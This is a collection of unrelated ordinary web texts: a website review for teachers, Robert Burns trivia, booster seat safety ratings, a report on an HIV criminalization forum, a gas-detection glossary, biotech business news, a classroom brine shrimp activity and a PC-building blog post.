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The Netherland Antilles was a group of islands that have since separated in to Aruba, Bonaire, Curacao, Sint Maarten, Saba, and Sint Eustatius. The economy was stimulated by tourism, petroleum, transshipment and oil refinery. Almost all of their goods were imported. Many of the people from the islands are descendants from colonists and slaves, the others came from nearby Caribbean islands and Asia. This group of Islands was unified until 2010.
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That's all it takes for you to say 'thank you' for the articles you find useful! Use the buttons above to show us your love, we know you want to!
Scholastic Teachers promotes itself as being a site “Where Teachers Come First”.
The homepage is bright and colourful, with an accurate and useful search box facility. I searched for “prepositions” and there were 5 results returned under the category of shopping, 21 results for resources, ideas and activities, 4 under book wizard, and 8 classified as printables.
The site is broken down into the homepage, with a home icon displayed n the tab, Resources and Tools, Strategies and Ideas, Student Activities, Books and Authors, Products and Services, Shop – The Teacher Store, and Estoria – eBooks. Down the left hand side there are further categories of What’s New, Book Club, Book Wizard, Lesson Plans, and The Teacher Store.
There are Excellent Paid and Free Resources
Under the Resources and Tools tab you will see further options for All Resources and Tools, Spotlight on Storia, Daily Starters, Everything You Need for ..., Lesson Plans, Planning Calendar, Printables, Mini-Books, Tools, Freebie Corner and Video. Under Lesson Plans you will find over 1,000 free lesson plans that are ready to use. There is a really handy search tool so you can try and locate by using the exact keyword you require, or alternatively you can use the index tool to see all lesson plans. You are able to view by grade, subject or resource, making it really easy for you to find something practical and appropriate. I did a keyword search for “weather” and was given a choice of 259 different resources, all of which were clearly marked with the lesson title, the grade that the lesson is suitable for, and a basic description. Clicking on a title (I selected “Let’s Talk About Weather”) you are able to see different class options for the subject. The lesson is then conveniently broken down into different sections; an overview, the class objective, the materials you need to complete the class, preparations you will need to do before the class, directions, lesson extensions, possible follow-up assignments, evaluation, and how to assess students. I did a further search for “food”, whereby 461 results were returned. With such a good selection of comprehensive lesson plans, I think this site is excellent for teachers struggling to think of ideas, or who are just really pressed for time and need some ready-made guidance. In the Everything You Need section, you can again search by keyword and find some very useful resources ready for you to take straight into the classroom. I searched for “animals” and nine results were displayed. Within these results you can see teaching guides, lesson plans, printables, relevant books, and information. Some resources are free, whereas others you must buy. You are able to sort results based on grade or resource type. Whether you are looking for quizzes, student contests, computer lab activities, interactive whiteboard activities, listen and read activities, online learning activities, writing activities, articles, collections, biographies, author interviews, author visit kits, author’s notes, book descriptions, book excerpts, book lists, booktalks, writing prompts, lesson plans, unit plans, discussion guides, extension activities, readers theatre scripts, teaching guides, vocabulary builders, or a combination of these, you can easily sort the results to find just what you need.
Good Range of Materials
Materials and resource suggestions are generally available for all levels from Pre-K to Grade 12. The site is therefore an invaluable resource to all school teachers, no matter which age they teach. The Printables section though is only searchable up to Grade 8. It would be better if this section was all grade inclusive as well. But the materials that are there are excellent.
There are Fantastic Month by Month Ideas
Within the Planning Calendar section there is a daily breakdown of events occurring on that particular day. The event name is a clickable link to a collection of great ideas and resources. As well as a detailed overview of the event, some have free materials, including lesson plans, printables, books, and activity suggestions for each event. You can also search by month, making it even easier for you to plan ahead for months in advance. Some events, however, only have paid resources listed. Looking at the month of June 2013, the 27th is listed as being Helen Keller’s birthday. There are 39 items listed, which can be sorted by grade and theme. I did not find any free resources for this event and all the listed suggestions were books to buy. Looking at Independence Day, however, listed on the 4th of July, there are free resources.
There is a Good Selection of Printable Materials
Although only available up to Grade 8, there are useful free printable and reproducible materials in the Printable section. There are many more available for subscribers.
Subscription is a Low Affordable Cost
If you wanted even more great resources, you could subscribe to Schoolastic Teachers for as little as $8.99. The site says that subscription will give you access to over 15,000 resources available at any time and from anywhere.
There is a Free Basic Flashcard Maker
A free flashcard maker, available under the Tools tab, means that you can easily enter your words and print them into a standard template. Although you are not able to enter images in the free version, it is good that you have the option to create professional looking word flashcards if you want to.
There is a Free Basic Word Search and Word Scramble Maker
Under the Tools tab you can also access a free word search maker and a free word scramble maker. Although not the best tool available for such things online, it is a good place to start where you only need a very basic worksheet. I like that you must enter words twice, to check your spelling. These are great for helping your students to practice their spelling, and for learning and reinforcing new vocabulary.
Free Stuff Listed in One Handy Place
In Freebie Corner you can find a wide selection of free resources as well as discounts and offers on products for sale.
Good Sections for Seeing Views, Opinions and Tips From Other Teachers
There is a blog with posts by other teachers on a variety of topics. This way of sharing ideas is great, in my opinion, as you can see exactly what other people think, with candid opinions and useful tips. There are ideas for teaching particular areas, as well as tips for teaching in general and how to deal with different types of students. The Teacher Share section allows you and your teaching colleagues to share resources. You can see all resources shared by others, and if you have a lesson that works well, a unique idea, or you find a fabulous way to do something, you can share it with others to help them to benefit from your inventiveness and creativeness.
There is an Area for Students as well as Teachers
The Student Activities section is a good place to refer students to who are having difficulties, or just want a way to study more and enhance their learning. Keen students will love this section. Many of the materials in this section can also be used in the classroom by teachers. Look here for even more resources and materials.
There are Excellent Books for Sale
There are options to order online or by telephone for the vast selection of books available to buy through Schoolastic Teachers.
There is a Dedicated Section for New Teachers
New teachers may find this section reassuring and incredibly useful when beginning their career as an ESL teacher. First class nerves can be banished by the knowledge of being completely prepared for the class and for every possible scenario. Tools, tip and resources can all be found in this section.
Although advertising is a common feature on so many websites today, clicking on some tabs first produces an advertisement. Although there is the option to skip the advert and continue, after a while of browsing the site I did find this a bit tiresome and annoying.
The Site Can be Confusing to Navigate
Although there are some great free resources on this site, as well as many more for paid subscribers, I did find that I found more materials by browsing through the site in general rather than being able to easily find and go to them straight away. Whilst the amount of information on this site is a massive bonus, it can also lead to it being difficult to source what you want, especially if time is precious.
Not all Grades are Catered for in Every Section
There is discrepancy between the grades between the sections, with some sections providing materials for up to Grade 12, and other sections only having materials for up to Grade 8. It would be good if there was some consistency and all grades covered throughout.
Crammed with information, tips, materials and resource suggestions, both free and paid, this is a good site for those who have the time to sift through the different sections. With some perusing, it is likely that you will find some top quality and highly useful things to use in your classroom, and you will be glad that you took the time and effort to search the site.
Are you a regular user of Schoolastic Teachers?
How do you find that it helps you in the classroom? Share your thoughts with other teachers to make their use of the site easier.
This is a guest review by an independent author. This review reflects the opinions of the author and not necessarily those of BusyTeacher.org as a publication.
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Bulking getting a belly
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But before bagpipes blow their last and Auld Lang Syne strains signal close of suitably dram-drenched Bard of Ayrshire festivities, here's timely poetry quotation quiz, accompanied by well and little known facts aplenty about Ploughman Poet's short-lived life and lasting legacy.
#1 Asked what had been the source of his greatest inspiration, corncrake-voiced warbler Bob Dylan said it was Burns’ 1794 song “Red, Red Rose”.
#2 Astronaut Nick Patrick carried a volume of Burns’ poetry with him on a 2010 space mission which saw him travel 5.7 million miles while orbiting the Earth 217 times. It’s not explained why.
Chesterfield Road Sheffield: Man who spent 12 hours on roof is sentenced in court for affray and harassment
Sheffield Council employees sacked as fraud increases including theft and excessive internet use during work
EuroMillions: Mystery winner from South Yorkshire has won £79,242.50 on The National Lottery
Graves Park Sheffield: Council to give Rose Park Cafe operators 'opportunity' to run temporary stall
The Long Blondes: Leadmill cancel gig after allegations surface against band creator Dorian Cox
#3 The oldest existing statue of Burns is thought to be in Camperdown, Australia. Carved by one John Greenshields, it was shipped there during the 1850’s.
#4 The late Michael Jackson had reportedly worked on an album in which some of Burns’ poems were to be set to music.
#5 John Steinbeck’s 1937 novel “Of Mice and Men” takes its title from a famous line in Burns’ “To a Mouse”: “The best laid schemes o’ mice and men gang oft agley”.
#6 Mosgiel, a town near Dunedin, New Zealand, is named after Burns’ farm in Ayrshire.
#7 The former Soviet Union was the first country in the world to honour Burns with a commemorative stamp marking the 160th anniversary of his death in 1956.
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Boosters are better than ever at fitting the “gap” kids: those kids ages 4-8 who should be in belt-positioning boosters, but are often taken out of harnessed seats when they outgrow them. Those of us who are in child passenger safety know that children really don’t size out of boosters until ages 10-11, ages that typically shock most parents. That means that children are in belt-positioning booster seats longer than any other type of child restraint.
What are the current restraint recommendations? The American Academy of Pediatrics recommends:
- All infants and toddlers should ride in a rear-facing car safety seat (CSS) until they are 2 years of age or until they reach the highest weight or height allowed by the manufacturer of their CSS.
- All children 2 years or older, or those younger than 2 years who have outgrown the rear-facing weight or height limit for their CSS, should use a forward-facing CSS with a harness for as long as possible, up to the highest weight or height allowed by the manufacturer of their CSS.
- All children whose weight or height is above the forward-facing limit for their CSS should use a belt-positioning booster seat until the vehicle lap-and-shoulder seat belt fits properly, typically when they have reached 4 feet 9 inches in height and are between 8 and 12 years of age.
- When children are old enough and large enough to use the vehicle seat belt alone, they should always use lap-and-shoulder seatbelts for optimal protection.
- All children younger than 13 years should be restrained in the rear seats of vehicles for optimal protection.
The Insurance Institute of Highway Safety (IIHS) began testing boosters for fit in 2008 and only 10 boosters rated a “Best Bet.” This year, 15 of 17 belt-positioning booster seats introduced in 2012 earned a “Best Best” rating and overall, there are a total of 47 “Best Bet” boosters. That’s fantastic and means more choices for consumers than ever before. But ultimately, what does that mean for you as a consumer of a safety product? After all, you want the safest product for your most precious cargo.
The IIHS uses a 6 year old dummy to test belt fit in the boosters. Boosters aren’t crash tested in these tests; they’re reviewed only for fit on the 6 year old dummy. How do you know if your booster fits *your* child well? After all, a dummy is stiff and doesn’t move all over the place like a real life child does. The shoulder belt should fall across the middle of the shoulder, slightly closer to the neck than the edge of the shoulder. The lap belt should ride low on the lap, touching the tops of the thighs.
Really, while the IIHS ratings are a great help to parents as a starting off point for finding boosters that are most likely to fit in the widest variety of vehicles, only *you* are the best judge of what may work in *your* situation. Certain extreme seat belt geometries, such as when the shoulder belt comes out from behind the child’s shoulder or in front of the child’s body, may mean that a “Good Fit” booster on the IIHS list is a “Best Bet” booster for you.
Shall we get on with the list? Yes! We’ve indicated with a * which “Best Bet” boosters are on our own Recommended Carseats list and as much as we’d love to add all the seats to our recommended list, we simply can’t. Bolded items on the list are new for 2012.
*Britax Frontier 85
*Britax Frontier 85 SICT
*Britax Parkway SGL (highback mode)
Chicco KeyFit Strada (highback mode)
*Clek Oobr (highback mode)
Cosco Pronto (highback mode)
Diono Monterey (highback mode)
Diono Radian R100
Diono Radian R120
*Diono Radian RXT
Eddie Bauer Auto Booster (highback mode)
*Evenflo Big Kid Amp
Evenflo Big Kid Amp High Back (backless mode)
Evenflo Big Kid Sport (backless mode)
*Evenflo Secure Kid LX/DLX
*Evenflo Symphony 65 e3
Ferrari Dreamway SP (highback mode)
*Graco Argos 70 (highback mode)
Graco Backless TurboBooster
*Graco Nautilus (highback mode)
*Graco TurboBooster (backless mode)
*Graco TurboBooster (highback mode)
Graco TurboBooster COLORZ
Graco TurboBooster Elite (backless mode)
Graco TurboBooster Elite (highback mode)
*Graco TurboBooster Safety Surround (backless mode)
*Graco TurboBooster Safety Surround (highback mode)
Harmony Cruz Youth Booster
Harmony Dreamtime Booster (backless mode)
Harmony Dreamtime Booster (highback mode)
Harmony V6 Highback Booster (backless mode)
Harmony V6 Highback Booster (highback mode)
*Harmony Youth Booster Seat
*Kiddy Cruiserfix Pro
Kiddy World Plus
Kids Embrace Dale Earnhardt Jr.
Maxi-Cosi Rodi XR (highback mode)
Safety 1st Boost Air Protect (highback mode)
Safety 1st S1 Rumi Air/Essential Air
The First Years Pathway B570
Britax Parkway SG (highback mode)
Combi Kobuk Air-Thru (backless mode)
Combi Kobuk Air-Thru(highback mode)
Evenflo Symphony 65
Maxi-Cosi Rodi (highback mode)
Britax Parkway SG (backless mode)
Britax Parkway SGL (backless mode)
Chicco KeyFit Strada (backless mode)
Clek Oobr (backless mode)
Cosco Highback Booster
Cosco Pronto (backless mode)
Cosco Top Side
Diono/Sunshine Kids Monterey (backless mode)
Diono/Sunshine Kids Santa Fe
Eddie Bauer Auto Booster (backless mode)
Evenflo Big Kid Amp (highback mode)
Evenflo Big Kid LX (backless mode)
Evenflo Big Kid LX (highback mode)
Evenflo Big Kid No Back Booster
Evenflo Big Kid Sport (highback mode)
Ferrari Dreamway SP (backless mode)
Graco Argos 70 (backless mode)
Graco Nautilus (backless mode)
Graco Nautilus Elite (backless mode)
Graco Nautilus Elite (highback mode)
Graco Smart Seat
Maxi-Cosi Rodi (backless mode)
Maxi-Cosi Rodi XR (backless mode)
Safety 1st Boost Air Protect (backless mode)
Safety 1st Go Hybrid
Safety 1st Summit
Safety 1st Vantage
Safety 1st Ventura
The First Years Compass B505
The First Years Compass B530
The First Years Compass B540
Volvo Booster (backless mode)
Volvo Booster (highback mode)
Safety 1st All-in-One
Safety 1st Alpha Omega Elite
The 2012 update is in the most recent IIHS Status Report. You’ll want to stay close to CarseatBlog.com because you know that good things happen for our readers when good news is released ;).
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Prevention or Prosecution?
A Community Forum
On May 24th, Queerocracy, a New York City grassroots organization, held a community forum on HIV criminalization at the LGBT Center. Entitled "Prosecution vs. Prevention", it highlighted the many abuses the U.S. criminal justice system applies to people with HIV. With the underlying message of "HIV is not a crime", several panelists spoke on the work they do and their relationship to the HIV-specific criminal laws that many states have.
Panelists included Adrian Guzman from The Center for HIV Law and Policy, Sean Strub from the SERO Project and the Positive Justice Project, Christina Rodriguez from SMART Youth, and Robert Suttle, who was incarcerated in Louisiana for HIV non-disclosure.
Know Your Rights
Adrian Guzman provided an overview of the issue, New York State criminal laws that target people with HIV, and what to do if arrested. He noted that dozens of states have HIV-specific criminal statutes, and nondisclosure is frequently an element of the crime. Two types of behavior are most commonly targeted: spitting and biting (usually specific to police and prison officers) and sexual contact (the type is rarely specified). In most cases, transmission is not necessary -- "exposure" without disclosure is enough. Often the only defense is to state that disclosure did occur prior to sex, but that can be difficult if not impossible to prove. The actual risk of transmission (type of sex, condom use, low viral load) is rarely considered in determining intent to harm or whether prosecution is appropriate. In fact, wildly inaccurate beliefs about the actual risks of HIV transmission seem to inform these laws.
Of particular interest was the disparity in sentencing requirements: in Georgia, for example, someone convicted of not disclosing HIV status before sex faces up to 20 years in prison, whereas someone convicted of vehicular homicide in the second degree faces up to one year in prison and/or a fine of up to $1,000!
Most laws were passed in the 1990s, when HIV was considered fatal. In order to qualify for HIV funding, the Ryan White CARE Act initially required states to demonstrate that they were able to prosecute cases of intentional HIV transmission. Most of today's laws, however, are based on inaccurate beliefs about the actual risks of HIV transmission, and even criminalize actions like spitting that cannot transmit HIV. (Fortunately, New York State's highest court ruled on June 7 that the saliva of a person with HIV cannot be considered a "deadly weapon".)
In New York State, HIV-positive people are targeted using general criminal laws, including reckless endangerment and aggravated assault. At least one court has allowed access to a defendant's medical records to prove whether she was HIV positive.
"Disclosure Is Hard"
Christina Rodriguez, who was born with HIV, told her story:
Until I went to college, I never had to actually tell anyone I had HIV. It always seemed to be done for me: in magazines, newspapers, documentaries, etc., since my mother was a well-known HIV advocate. I had never gotten a bad reaction, but this was a whole new world -- college students on a small campus. On top of being a freshman, I was stressing out about disclosure. Who would I tell? When? How?
But these concerns were just a fraction of the anxiety I endured when I finally disclosed to my friend of seven years. We hadn't spoken in a couple of years and I decided that when he came back to New York I would tell him everything. I couldn't sleep. I couldn't eat. My heart raced at the thought of the moment I would tell him.
On the day we met, I remember that everything seemed to slow down. I could hear my heart in my ears. Everything went quiet. I was sweating in a fully airconditioned car. I wanted the world to swallow me whole. What did I get myself into? Should I just turn back home?
But I pushed through. I looked everywhere but at him as the topic started to emerge. I took out flashcards I had made to help me keep track of where to start and how to end. Once I couldn't think of anything else to say, we sat in silence. It was the longest, most awkward moment of my life. I prepared myself for the worst -- if he wanted me to leave, I would understand. I would take care of whatever emotions I had in the comfort of my own home. But he didn't, and we're still together. I'm extremely lucky to find someone so understanding and willing to become educated.
The moral of the story is that disclosure isn't as easy as people make it out to be. You can't just say, "Tell people, tell people, tell people." Not everyone is in as stable place as I am. You can't expect people to say things so easily, especially when there are laws out there that can put someone in jail just for being HIV positive. We need education and support -- not more stigma. Not to be labeled as "weapons of mass destruction". We are human beings, and disclosure is hard. These laws are not providing the right message in order to move forward.
Robert Suttle then shared his experience:
I am not a criminal. I am not a sex offender, but the state of Louisiana says that I am. I am the oldest of six children, and my grandparents instilled in me faith, discipline, and personal responsibility. After college, I tried to join the Air Force, but during my physical I discovered I had HIV and was not allowed to serve. So I began work as an assistant law clerk, and was well on my way to becoming the first black male deputy clerk in the Louisiana Second Circuit Court.
But after five years, that budding career -- and life as I knew it -- abruptly ended. A former partner from a contentious relationship filed charges against me for not having disclosed my HIV status when we first met. This wasn't about transmitting HIV -- just whether I had shared my HIV status. How do you prove that you told someone? I couldn't. So I accepted a plea bargain rather than risk a ten-year sentence. I served six months and am now required to register as a sex offender for the next 15 years.
When I was released from prison, I knew I had suffered a terrible injustice, although I didn't know it had a name: HIV criminalization. I wanted to become an advocate and help create a movement to correct the injustice. That's when I found Sean Strub, who helped get me involved in the global movement to stop the criminalization of people because of the viruses they have. Last December I went to Switzerland to speak before the UNAIDS Programme Coordinating Board, and this past February we went to Norway where I spoke at the U.N. High Level Consultation on HIV Criminalization. I'm determined to do whatever I can to prevent anyone else from suffering a miscarriage of justice like mine.
I don't understand why the gay community and the AIDS community are not talking about this. It feels like we're ashamed of it. I think criminalization is not the answer to HIV prevention. Just because you know your status, the law says that is intent. People with HIV have a right to have sex. Everyone deserves that. We're human beings.
I talk about this because I have nothing else left. I want to see things change. I want to see people with HIV hold their heads up high and not be ashamed of a disease they did not ask for. Please take what you learn here tonight and use it.
HIV Criminalization Discourages HIV Testing, Creates Disabling and Uncertain Legal Environment for People With HIV in U.S.
This article was provided by ACRIA and GMHC. It is a part of the publication Achieve. Visit ACRIA's website and GMHC's website to find out more about their activities, publications and services.
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Glossary of terms used on this site
A component of a gas detector that is capable of generating electrical energy from chemical reactions or causing chemical reactions by adding electrical energy, generating a potential difference from which a concentration value can be calculated.
An explosion is a rapid increase in volume and release of energy in an extreme manner, usually with the generation of high temperatures and the release of gases. Usually, an area designated as susceptible to explosion danger is one where two of the three requirements for a combustive explosion are or can be present: a combustible material, an oxydizer and a source of ignition. Areas classified into zones (0, 1 and 2 for gases, vapours and mist or zone 20, 21 and 22 for flammable dust) must be protected from effective sources of ignition. Zone 0 and 20 represent the highest risk. The intrinsic safety certificate of a piece of equipment classifies it for use in certain zones, depending on how likely it is to act as a source of ignition. Areas classified as zone 0 or 20 require category 1 equipment; zones 1 and 21 category 2; while zone 2 and 22 require category 3 equipment.
The highest and lowest concentrations at which a given gas can ignite while mixed with air at 25
Or occupational exposure limit, an upper limit on the acceptable concentration of a hazardous substance in workplace air for a particular material or class of materials. Exposure limits are usually set and enforced by national authorities, although sometimes they are merely recommended. Many means are available to companies to restrict the risks associated with the substances present at its premises, of which gas detection is certainly a very important component, both in the risk assessment stage and in the enforcement stage.
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One year after signing a $1.4 billion agreement aimed at developing 12 drugs in obesity and diabetes, CuraGen Corp. and partner Bayer Corp. said they have successfully completed screening against four targets.
Furthermore, CuraGen, of New Haven, Conn., has selected 31 of the 80 targets promised to Bayer during the next five years. The companies intend to bring the 12 small-molecule drug candidates to the clinic in the first five years of the joint venture that is expected to last 15 years. (See BioWorld Today, Jan. 17, 2001.)
In a prepared statement, John Amatruda, vice president, Department of Diabetes and Obesity Research for Bayer, said, “These targets are enabling Bayer scientists to rapidly and efficiently complete screens against our library compounds. We credit the substantial progress we have made to our excellent working relationship with CuraGen, which is resulting in the development of an early stage pipeline of innovative therapies.”
Mark Vincent, CuraGen’s director of corporate communications and investor relations, said, “By working closely with a strategic partner like Bayer, we are leveraging each other’s complementary expertise and resources to ultimately develop pharmaceuticals to treat obesity and diabetes. We have not seen a partnership similar to this make as much progress this quickly as we’ve made in our alliance with Bayer.”
The original deal called for the companies to split research and development costs at 56 percent for Bayer and 44 percent for CuraGen. Bayer of West Haven, Conn., is a wholly owned subsidiary of Bayer AG, of Leverkusen, Germany.
The plan is for the companies to jointly commercialize and share profits of drugs resulting from the alliance.
The second part of the collaboration is a pharmacogenomic and toxicogenomic evaluation of the Bayer pipeline and the development of a marketable database of gene-based markers and toxicity information.
That five-year expandable part of the agreement is valued at $124 million and includes an $85 million equity investment in CuraGen by Bayer and $39 million in committed funding to CuraGen.
CuraGen, a genomics-based drug discovery and development company, has other major collaborations with companies such as Abgenix Inc., of Fremont, Calif. The longtime partners in monoclonal antibody discovery research are working to find and commercialize fully human MAbs. (See BioWorld Today, Dec. 10, 1999; Aug. 16, 2000; and Nov. 29, 2000.)
Rebecca Horton, spokeswoman for CuraGen, said the Abgenix and Bayer agreements are similar in that CuraGen has a stake in the downstream results of the work. Most of CuraGen’s other agreements entail pay for service.
CuraGen’s stock (NASDAQ:CRGN) closed Thursday at $16.30, up 10 cents.
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Print version published by TERC, 2067 Massachusetts Avenue, Cambridge, MA 02140. Address subscription and reprint requests and other comments to: Communications@terc.edu Contents Page
A student comes into class one day describing what she considered a bizarre event. The previous night she had noticed swarms of moths, mosquitoes, and other flying insects gathering around her window where her desk lamp shined through. She moved the lamp to the opposite side of the window, and sure enough, the insects followed the lamp. "Why did they do this?" she asks. "Did all insects that could see the light come to it, or did only a few?"
Other students start chiming in with observations and questions about patterns of animal behaviors they had noticed. How did so 'many' ants find the dropped ice cream cone on the side-walk? How do migrating flocks of birds know where they are going? Soon the class is abuzz with observations, insights, and questions about the behavioral ecology of animals.
Understanding the way organisms behave in response to their environment is integral to understanding the ecology of those organisms. For example, senses are fundamentally important to how animals interact with both their biological and physical surroundings. Most senses like hearing, sight, smell, taste, and touch are familiar to us. Even though most animals have these same five senses, sensitivity to the stimuli vary greatly: dolphins and bats detect ultrasound; bees can see ultraviolet light; and some male moths have a sense of smell so acute they can sense the presence of one molecule of the female perfume pheromone. Other animals have senses that seem strange and unimaginable, like infrared detection in many snakes and electromagnetic sensing in fish.
Senses are used for finding food and shelter, for locating mates, for navigation and migration, for triggering hibernation, for communicating with other animals of the same and different species, and for avoiding predators. In short, animal senses are windows to the world around them. Knowing the senses and behaviors of an organism in response to its envi-ronment can advance students' understanding of its habitat, its relationship with other organisms, and its physical surroundings.
The activity that follows was developed as part of TERC's Institute for Teacher Development Through Ecology and encompasses the institute's goals of deepening ecological understanding and encouraging student-centered exploration. In a broad sense, the activity immerses students in a research question that allows them to pose and answer questions about the behavior and ecology of animals. More specifically, it engages students in a scientific process that enables them to explore the behavior of brine shrimp, Artemia salina.
Through their observations, students focus on "patterns" of behavior. They raise questions about observed patterns and about how such patterns relate to the ecology of brine shrimp in nature. Students design and implement investigations to address and attempt to answer their questions. Thus, this activity is a springboard from which students can examine the "ecological context" of behavioral patterns.
Brine shrimp display positive phototaxis; that is, the shrimp are attracted to and move toward light. Using brine shrimp in a classroom setting for an open-ended activity is particularly interesting because though students will quickly see that brine shrimp move toward light, they will pose other questions just as quickly. For example: Are the organisms attracted to heat? Do they prefer upper layers of the water column? Do they show preferences for light of different wavelengths?
These questions also apply to behavioral ecology. In a broader sense, How does being attracted to light help brine shrimp live? What is the function of phototaxis? Do brine shrimp feed on organisms that live in the upper layers of water? What does their behavior tell us about their habitat?
Given more time, students will generate even more questions that can be investigated relatively easily. Do young and old shrimp behave differently? How is hatching affected by salt concentration? pH? temperature? contaminants?
Clearly, unlimited opportunities exist for students to examine the interplay between the environment and the organism. The ease with which environmental factors and the brine shrimp can be manipulated in a classroom supports an open-ended approach that engages students in scientific inquiry, from asking questions to making predictions, designing experiments, and analyzing and presenting results.
Activity - Spotlight on Shrimp
Hands On! Contents
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I recently built myself a new computer after using the last one for almost 5 years. My old computer was able to run all the programs I had without any real issues, but it was slowly getting more unstable over time, and the update to Windows 10 had been rough.
This time I wanted to build a computer that could run the latest virtual reality headsets and I wanted to have something that again would last me quite a while. I typically buy the second fastest consumer CPU that is available as the fastest is normally at a high premium in cost but with little extra speed, but the Intel 6700K had finally come down to suggested retail price. I wanted the modern chipset that went with it so something on the Z170 chipset was what I looked for in a motherboard. My timing was not that great for a video card in that both NVIDIA and AMD were about to release their latest generation, so I actually waited over a month after buying the rest of my components before fully setting the computer up. The motherboard did have built in graphics and the CPU did as well, so I was able to test everything except for the new card.
I will make two observations. The first is that I have always felt it important to be agnostic about brands when making choices on most of the components. Years ago there was a great deal of variety in motherboards and how features were implemented on them. Today, the two main CPU makers (Intel and AMD) release a new chipset with each new CPU generation and that chipset is very full featured. I have almost always used Intel CPUs because for many years, they have been the best performing. AMD often wins on the cost to performance basis, but it has been quite a while since they have had a chip that can compete for pure performance. I did build an AMD-based computer a few computers ago because that generation they did have the best CPU.
CPUs are fairly quiet, but there often are techie “holy wars’ over video cards. I admit to have fought a little in them back when 3DFX and their voodoo chips revolutionized 3D, but I got over it. Now I just buy the card that I think does the best for me. The two main graphics processor unit (GPU) providers are NVIDIA and AMD (they bought ATI years ago). My last generation computer has an AMD video card (a 370) and that was based on AMD having better multi-monitor technology at the time as I like running 3 monitors. There are edge cases where AMD has had better chips, but for the most part, NVIDIA has had the highest performing chips for a while.
Unlike CPUs, the price jump to the most powerful GPU to the second best is still enormous and unless you really are a power gamer or power user, there is little need to get the best GPU. For the computer I just built, I ended up with an NVIDIA 1070 based video card (the board maker was MSI). I had considered the AMD RX 480 as it was a lot less expensive, but the demand was so high that cards were hard to find and the custom cards had not come out yet. So I went with the 1070.
I could write pages and pages on the latest and greatest differences between the board makers and the different CPU and GPU you could choose, but this blog entry will exist for a long time and tech sites are always much more current (I go to anandtech.com but ownership changes have made it less useful in the last year). So I will give some more general observations.
The premium priced components in the consumer space are all aimed at gamers. This tends to result in multi-color LED lights and a black (and usually red highlights) color scheme. There actually is very little value add from what I can tell from my research for the extra price you pay. There certainly is much less bang for the buck. The video card I bought is branded as an MSI “gaming” card and it looks nice but does not really offer any performance improvements over non-gaming cards.
Motherboards are similar. The Z170 chipset has plenty of solid boards that cost around $150 (can be found for less during sales). You can spend $250 to $300 and just get a few extra bells and whistles that you may never use.
One final comment, if you build the computer yourself, be prepared to troubleshoot yourself and to have to refresh your knowledge. I had a faulty power supply and it took me quite a while to track the problem down. Google and technology forums are your friends here.
This is the system I ended up putting together:
Intel Skylake Core i7-6700K
– the fastest CPU currently available. Depending on luck, can be overclocked a fair amount
Cooler Master Hyper 212 EVO – CPU Cooler with 120 mm PWM Fan
– One of the bestselling coolers. Quite tall, was interesting to install
ASUS Z710 – AR
– all of the modern features of the chipset and none of the “gamer” bells and whistles that jack up the price. PCI-e sharing (which is common for the chipset) so might be a concern for dual GPU use but I plan on only using one GPU.
GPU – MSI Gamer NVIDIA GTX 1070. As I mentioned, both the main GPU companies just released new cards and it is hard to find cards priced at regular retail prices.
G.SKILL TridentZ Series 16GB (2 x 8GB) 288-Pin DDR4 SDRAM DDR4 3733 (PC4 29800)
– this is actually somewhat of a waste. Super-fast RAM that I probably would not need and I could of gone down a few notches in speed and double the amount for the same price as I will not heavily overclock
CM Storm Scout 2 Advanced – Gaming Mid Tower Computer Case with Carrying Handle and Windowed Side Panel – Black
– This is an updated version of the case I have been using the past 5 years. Roomy and has a handle on top which comes in handy more often than not. Plenty of room for fans, and a good front panel for USB
Antec 750 Gamer power supply. I originally had a corsair power supply but it was faulty.
– Should be way more power than I need, especially if I do not have 2 x GPU
SAMSUNG 950 PRO M.2 256GB PCI-Express 3.0 x4 NVMe Internal Solid State Drive (SSD)
– Very fast SSD (motherboard supported) that will be my boot drive and will have some applications on it
Mushkin Enhanced Reactor 2.5″ 256GB SATA III MLC Internal Solid State Drive (SSD)
– Secondary SSD for often accessed files and other applications
Seagate 3TB Desktop HDD SATA 6Gb/s 64MB Cache 3.5-Inch Internal Bare Drive
– Should be plenty of room, especially since I have a 16TB NAS
LG Black 16X BD-R 2X BD-RE 16X DVD+R 5X DVD-RAM 12X BD-ROM 4MB Cache SATA Blu-ray Burner
– I debated if I really needed an optical drive and finally decided to get one as I can see myself watching movies on the computer and I have a lot of Blueray disks (PS4 is my main player)
Razer BlackWidow Ultimate Stealth 2016 – Backlit Quiet Mechanical Gaming Keyboard with 10 Key Rollover
– Decided to try a mechanical keyboard. These have Razer designed mechanisms, not sure if as good as Cherry-MX switches. Quieter version.
Logitech G600MMO Gaming Mouse – Black
– Will move over from my existing computer. I do not use all the buttons and may look at another mouse
The latest technology that is just starting to go mainstream is Virtual Reality. There are two main contenders for the headset market right now – the Oculus Rift (which is backed by Facebook) and the HTC Vive which has teamed up with Steam (owned by a company called Valve and the main marketplace to buy PC games online).
If I had to sum up the main differences between the two headsets, I would say that the HTC Vive comes with two controllers and can be used standing and moving (called room-scale) and sitting down while the Oculus Rift is mainly meant to be used sitting down and does not as of now come with VR controllers. The Vive has a lot more content available for it now, but many programs are made for both headsets and there are not many non-game programs available.
I got to try out the Vive at uploadvr.com ‘ s offices in San Francisco when I was there for a meeting with a McGill University representative who wanted me to help in their entrepreneur program. I had read that the room-scale made a big difference and when I tried it out I agreed.
The experience in both headsets is pretty good and you do really get a sense of immersion far beyond what looking at a screen will give you. The Oculus Rift is about $600 and the HTC Vive is about $800, but the Vive comes with two controllers and two sensor boxes that enable the room scale VR.
I picked the HTC Vive as it has more software available today and because the built in ability to move around instead of just sitting down sold me on the system. The actual graphics capability is about the same between the two controllers and both are just emerging, so the “best” choice may change rapidly.
I have only used the headset for a few days., so I will hold off on a detailed review, but I can tell you that the base experience lives up to the hype.
I am waiting to see what non-game uses there are for the headsets. There is a fair bit of work being done to develop approaches and applications for the virtual world the headsets put you into that make it useful for non-games, but there are not that many real life examples yet. I will be attending a meeting on that topic in a few weeks and will update and right a new blog after I have more information.
Getting the headset to work was somewhat of a struggle and the programs are all new and very much “early access”, so I hesitate to recommend it for everyone, but it has been quite fun so far. One of my friends brought his young son over (son is around 10 years old) and the son was fascinated with the headset and wore it for hours.
As I mentioned in an earlier blog, 3D Printers are technology that is still not quite ready for mainstream use. They still take a lot of fiddling with to get to work well and consistently and you need to be comfortable with at least some light mechanical work. I recently bought another 3D printer, the Wanhao Duplicator 6. It is over twice the price of the Wanhao Duplicator i3 I started with (and that is an excellent starter machine), but it is much more capable as well. I will do an update just on the new printer and what I have learned since I bought my first one. This update will include using a raspberry pi mini-computer to remotely control and monitor the printer.
